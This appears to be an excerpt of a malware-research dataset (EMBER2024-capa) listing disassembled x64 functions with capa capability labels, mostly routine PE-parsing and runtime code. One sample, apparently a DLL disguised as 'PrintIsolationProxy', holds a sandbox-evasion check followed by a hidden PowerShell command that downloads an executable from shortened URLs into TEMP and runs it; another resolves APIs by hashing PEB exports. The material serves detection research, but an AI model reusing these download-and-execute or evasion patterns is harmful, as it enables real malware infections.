joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x150
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov rax, qword gs:[0x60]
mov esi, ecx
mov rdx, qword [rax + 0x18]
mov rdi, qword [rdx + 0x20]
test rdi, rdi
je 0x140001126
mov ebp, 0x104
nop word [rax + rax]
movzx eax, word [rdi + 0x48]
test ax, ax
je 0x140001126
cmp ax, bp
jae 0x140001126
mov r10, qword [rdi + 0x50]
xor r8d, r8d
cmp word [r10], r8w
je 0x1400010c5
xor eax, eax
xor r9d, r9d
nop dword [rax + rax]
movzx eax, byte [rax + r10]
lea rdx, [rsp + 0x20]
mov byte [rsp + 0x20], al
test al, al
je 0x1400010ae
lea ecx, [rax - 0x61]
cmp cl, 0x19
ja 0x14000109e
sub al, 0x20
mov byte [rdx], al
movzx eax, byte [rdx + 1]
inc rdx
test al, al
jne 0x140001092
movzx eax, byte [rsp + 0x20]
inc r8d
mov byte [rsp + r9 + 0x30], al
mov r9d, r8d
lea rax, [r8 + r8]
cmp word [rax + r10], 0
jne 0x140001080
mov eax, r8d
cmp rax, rbp
jae 0x140001157
lea rcx, [rsp + 0x30]
mov byte [rsp + r8 + 0x30], 0
xor ebx, ebx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
xor ecx, ecx
movsxd rdx, eax
test eax, eax
je 0x140001106
nop dword [rax]
movsx eax, byte [rsp + rcx + 0x30]
inc rcx
add ebx, eax
mov eax, ebx
shr eax, 6
xor ebx, eax
cmp rcx, rdx
jne 0x1400010f0
lea eax, [rbx + rbx*8]
mov ecx, eax
shr ecx, 0xb
xor ecx, eax
imul eax, ecx, 0x8001
cmp eax, esi
je 0x140001151
mov rdi, qword [rdi]
test rdi, rdi
jne 0x140001050
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140001600
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rax, qword [rdi + 0x20]
jmp 0x140001128
call fcn.140001728
int3
Function at 0x140001160
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0xf0
mov eax, 0x5a4d
mov edi, edx
mov r11, rcx
cmp word [rcx], ax
jne 0x1400012a4
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x1400012a4
movups xmm0, xmmword [rax + 0x18]
lea r8, [rsp]
movups xmm1, xmmword [rax + 0x28]
movups xmmword [r8], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [r8 + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [r8 + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [r8 + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [r8 + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [r8 + 0x50], xmm1
movups xmmword [r8 + 0x60], xmm0
lea r8, [r8 + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [r8 - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [r8], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [r8 + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [r8 + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [r8 + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [r8 + 0x50], xmm0
movups xmmword [r8 + 0x60], xmm1
mov eax, dword [rsp + 0x70]
xor r8d, r8d
add rax, rcx
mov r9d, dword [rax + 0x20]
mov ebp, dword [rax + 0x1c]
add r9, rcx
mov r10d, dword [rax + 0x24]
add rbp, rcx
mov esi, dword [rax + 0x14]
add r10, rcx
test esi, esi
je 0x1400012a4
nop word [rax + rax]
movzx eax, word [r10]
mov ecx, dword [r9]
add rcx, r11
mov ebx, dword [rbp + rax*4]
mov eax, 0x29
add rbx, r11
movsx edx, byte [rcx]
test edx, edx
je 0x140001290
nop dword [rax]
imul eax, eax, 0x21
lea rcx, [rcx + 1]
add eax, edx
movsx edx, byte [rcx]
test edx, edx
jne 0x140001280
cmp edi, eax
je 0x1400012bf
inc r8d
add r10, 2
add r9, 4
cmp r8d, esi
jb 0x140001260
xor eax, eax
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
mov rax, rbx
jmp 0x1400012a6
Function at 0x140001fe8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002032
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002032
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002032
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002032
cmp dword [rcx + 0x84], 0xe
jbe 0x140002032
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002034
xor al, al
add rsp, 0x28
ret
Function at 0x2fc4d4fb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d59b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fa108]
test eax, eax
je 0x2fc4d5a4a
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fa110]
mov qword [rbp - 8], rax
jmp 0x2fc4d5a2e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d5a22
cmp qword [rbp - 0x10], 0
je 0x2fc4d5a22
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d59e8
lea rax, [0x2fc4fa0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d5a4b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d5b50
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d5b78
mov eax, 0
jmp 0x2fc4d5bc6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d5ba1
mov eax, 0
jmp 0x2fc4d5bc6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d5bc1
mov eax, 0
jmp 0x2fc4d5bc6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d8bb0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d95b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fe108]
test eax, eax
je 0x2fc4d964a
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fe110]
mov qword [rbp - 8], rax
jmp 0x2fc4d962e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d9622
cmp qword [rbp - 0x10], 0
je 0x2fc4d9622
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d95e8
lea rax, [0x2fc4fe0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d964b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d9750
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d9778
mov eax, 0
jmp 0x2fc4d97c6
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d97a1
mov eax, 0
jmp 0x2fc4d97c6
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d97c1
mov eax, 0
jmp 0x2fc4d97c6
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d97cc
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d984a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d9841
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d9841
mov rax, qword [rbp - 8]
jmp 0x2fc4d985f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d9814
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140011262
Capabilities:
Terminate process

Disassembly:
jmp 0x140019500
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400112fd
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a850
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14001a870
xor al, al
jmp 0x14001a8f1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001a883
xor al, al
jmp 0x14001a8f1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14001a8ad
xor al, al
jmp 0x14001a8f1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a8c1
xor al, al
jmp 0x14001a8f1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a8d3
xor al, al
jmp 0x14001a8f1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a8ef
xor al, al
jmp 0x14001a8f1
mov al, 1
add rsp, 0x38
ret
Function at 0x2c1c61380
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rax, qword [rbp - 0x68]
movabs rdx, 0x100000000
cmp rdx, rax
jb 0x2c1c613c5
mov eax, 0
jmp 0x2c1c613d9
mov eax, dword [rbp - 0x10]
cmp eax, 2
ja 0x2c1c613d4
mov eax, 0
jmp 0x2c1c613d9
mov eax, 1
add rsp, 0x90
pop rbp
ret

Function at 0x2c1c613e2
Capabilities:
Create process on windows

Disassembly:
push rbp
sub rsp, 0x4e0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x470], rcx
lea rax, [rbp + 0x3f0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
lea rax, [rbp + 0x3d0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp + 0x3f0], 0x68
mov dword [rbp + 0x42c], 1
mov word [rbp + 0x430], 0
lea rax, [rbp - 0x30]
movabs rcx, 0x20632f20646d63
mov qword [rax], rcx
mov rdx, qword [rbp + 0x470]
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.strcat
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x3d0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x3f0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
mov dword [rbp + 0x45c], eax
mov rax, qword [rbp + 0x3d0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x3d8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x4e0
pop rbp
ret

Function at 0x2c1c61503
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
call sym.PrintIsolationProxy.dll_checkSystemRequirements__
xor eax, 1
test al, al
je 0x2c1c61529
mov eax, 1
jmp 0x2c1c6155f
lea rax, str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe__WindowStyle_Hidden__C__start_www.t.ly_miWHF___ProgressPreference__SilentlyContinue__iwr__Uri_rebrand.ly_8kdbw87__OutFile___env:TEMP_f.exe___.___env:TEMP_f.exe__
mov rcx, rax
call sym.PrintIsolationProxy.dll_execute_cmd_char_const_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov eax, 1
add rsp, 0x30
pop rbp
ret

Function at 0x2c1c61710
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x2c1c61780
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x2c1c67064]
mov rbx, rcx
test esi, esi
jle 0x2c1c618b0
mov rax, qword [0x2c1c67068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x2c1c617cb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x2c1c61855
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x2c1c617b0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x2c1c618d2
mov rax, qword [0x2c1c67068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x2c1c67068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x2c1c618b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x2c1c6184e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x2c1c61860
add dword [0x2c1c67064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x2c1c67068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x2c1c6184e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x2c1c617d8
mov rax, qword [0x2c1c67068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x2c1c61c60
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x2c1c670a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x2c1c67080]
test rbx, rbx
je 0x2c1c61cbc
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x2c1c61cb3
test eax, eax
jne 0x2c1c61cb3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x2c1c61c98
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x2c1c61ed0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x2c1c61ee8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x2c1c61ef0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret
Function at 0x2c1c61f00
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x2c1c61f4d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x2c1c61f44
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x2c1c61f4f
add rax, 0x28
cmp rax, r9
jne 0x2c1c61f30
xor eax, eax
ret

Function at 0x2c1c61f50
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x2c1c61fe0
mov rdx, qword [0x2c1c642e0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x2c1c61fce
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x2c1c61fce
cmp word [rax + 0x18], 0x20b
jne 0x2c1c61fce
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x2c1c61fe0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x2c1c61fb9
add rbx, 0x28
cmp rbx, rdi
je 0x2c1c61fe0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x2c1c61fb0
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x2c1c61ff0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2c1c642e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2c1c62010
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2c1c62018
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2c1c62010
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x2c1c6206d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x2c1c62064
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x2c1c62010
add rax, 0x28
cmp rax, r9
jne 0x2c1c62050
xor eax, eax
ret

Function at 0x2c1c62070
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2c1c642e0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x2c1c6208f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x2c1c62098
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x2c1c6208f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x2c1c620b0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x2c1c642e0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x2c1c620d0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x2c1c620d8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x2c1c620d0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x2c1c62120
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x2c1c62117
test rcx, rcx
je 0x2c1c620d0
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x2c1c62108
xor eax, eax
ret
Function at 0x2c1c62130
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x2c1c642e0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x2c1c6214f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x2c1c62158
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x2c1c62170
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x2c1c642e0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x2c1c62190
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x2c1c62198
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2c1c62190
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x2c1c62190
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x2c1c621e4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x2c1c621f0
add rdx, 0x28
cmp r9, rdx
jne 0x2c1c621d0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x2c1c62200
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x2c1c642e0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x2c1c62222
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x2c1c62230
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x2c1c62222
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x2c1c62222
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x2c1c62222
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x2c1c62285
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x2c1c62298
add rdx, 0x28
cmp r10, rdx
jne 0x2c1c62270
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x2c1c622a7
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x2c1c622b7
mov edx, dword [rax + 0xc]
test edx, edx
je 0x2c1c6228e
test ecx, ecx
jg 0x2c1c622a0
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret